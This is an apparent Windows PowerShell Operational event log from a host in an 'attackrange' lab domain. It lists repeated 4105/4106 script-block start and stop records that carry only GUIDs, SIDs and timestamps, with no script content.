Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477341
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477340
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477338
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477336
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477335
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477334
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477332
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477330
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477328
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477327
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477326
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477324
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477323
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477322
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477320
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477318
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477316
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477315
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477314
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477313
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477312
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477311
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477310
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477309
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477308
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477306
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477305
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477304
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477303
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477302
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477300
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477299
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477298
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477297
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477296
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477294
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477293
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477292
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477291
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477290
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477289
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477288
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477286
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
